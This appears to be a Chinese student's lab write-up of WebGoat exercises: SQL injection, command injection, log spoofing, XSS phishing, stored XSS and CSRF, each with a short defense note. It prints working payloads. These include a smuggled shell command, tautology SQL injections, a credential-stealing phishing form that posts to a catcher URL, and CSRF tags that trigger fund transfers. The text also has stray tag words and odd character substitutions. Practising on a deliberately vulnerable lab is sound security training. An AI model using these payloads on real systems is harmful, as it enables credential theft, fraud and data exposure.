SQL注入:java
Command Injectionweb
Log Spoofingsql
Numeric SQL Injection数据库
String SQL Injection浏览器
XSS 攻击:缓存
Phishing with XSS安全
Stored XSS Attacks服务器
CSRF攻击:cookie
Cross Site Request Forgery网络
CSRF Prompt By‐Pass
原理:SQL注入攻击指的是经过构建特殊的输入做为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,经过执行SQL语句进而执行攻击者所要的操做,使非法数据侵入系统。
防护措施以下:
对输入的数据进行过滤,过滤掉敏感字符。加密数据库。
关闭或删除没必要要的交互式提交表单页面。
普通用户与系统管理员用户的权限要有严格的区分。
原理:XSS攻击(跨站脚本攻击)是一种在Web应用中的计算机安全漏洞,它容许恶意Web用户将代码植入到提供给其它用户使用的页面中。
防护:
提升用户防范意识,不轻易输入我的信息
对全部用户提交内容进行可靠的输入验证,仅接受指定长度范围内、采用适当格式、采用所预期的字符的内容提交,对其余的一概过滤。
原理:CSRF(Cross-site request forgery)跨站请求伪造是一种对网站的恶意利用,经过假装来自受信任用户的请求来利用受信任的网站。
防护:
使用“请求令牌”。首先服务器端要以某种策略生成随机字符串,做为令牌(token),保存在Session里。而后在发出请求的页面,把该令牌以隐藏域一类的形式,与其余信息一并发出。在接收请求的页面,把接收到的信息中的令牌与Session中的令牌比较,只有一致的时候才处理请求,不然返回 HTTP 403 拒绝请求或者要求用户从新登录验证身份。
将提交方法改成post,或将 GET请求设置为只浏览而不改变服务器端资源
按期清理掉没用的缓存
首先从Webgoat官网下载相关.jar包
在Kali端输入:java -jar webgoat-container-7.0-SNAPSHOT-war-exec.jar
运行
浏览器输入:http://localhost:8080/WebGoat
进入WebGoat登陆界面,输入默认的用户名密码登陆
在使用前须要确认8080端口有没有被占用:netstat -tupln | grep 8080
在网页的源码中注入netstat
与ifconfig
命令:
首先右击页面,选择inspect Element
进入审查
选择复选框中的一行,修改成:"& netstat -an & ipconfig"
单击view
能够观察到攻击的成果
经过在日志文件中插入脚本实现欺骗,攻击者能够利用这种方式清除他们在日志中的痕迹。
Username
中填入20165320%0d%0aLogin Succeeded !admin
在station字段中注入特征字符,组合成新的SQL语句。注入永真式达到达到注入的效果。
右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,在选中的城市编号Value值中添加or 1=1
显示天气状况:
经过向数据库注入字符串绕过相关登陆认证操做
输入查询的用户名SQ' or 1=1--
获得全部用户的信用卡号码:
当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,能够实现钓鱼工具或向某些官方页面中增长内容。对于受害者来讲很难发现该内容是否存在威胁。
建立一个表单代码,要求填写用户名与密码:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
将该代码粘贴到Search输入框中,点击搜索:
填写表单,点击登陆,获取相关信息:
这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。由于是留言,因此任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。提交请求时,浏览器将添加与站点相关的全部cookie。所以,若是用户对站点进行了身份验证,而且拥有永久或当前会话cookie,那么站点将没法将其与合法的用户请求区分开来。
在title中输入任何参数,message框中输入:<img src="http://localhost:8080/WebGoat/attack?Screen=267&menu=900&transferFunds=8888" width="1" height="1" />
以图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的),用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交
跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但若是提示符是可编写脚本的,则能够忽略它.
并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>
点击 submit
生成相关连接: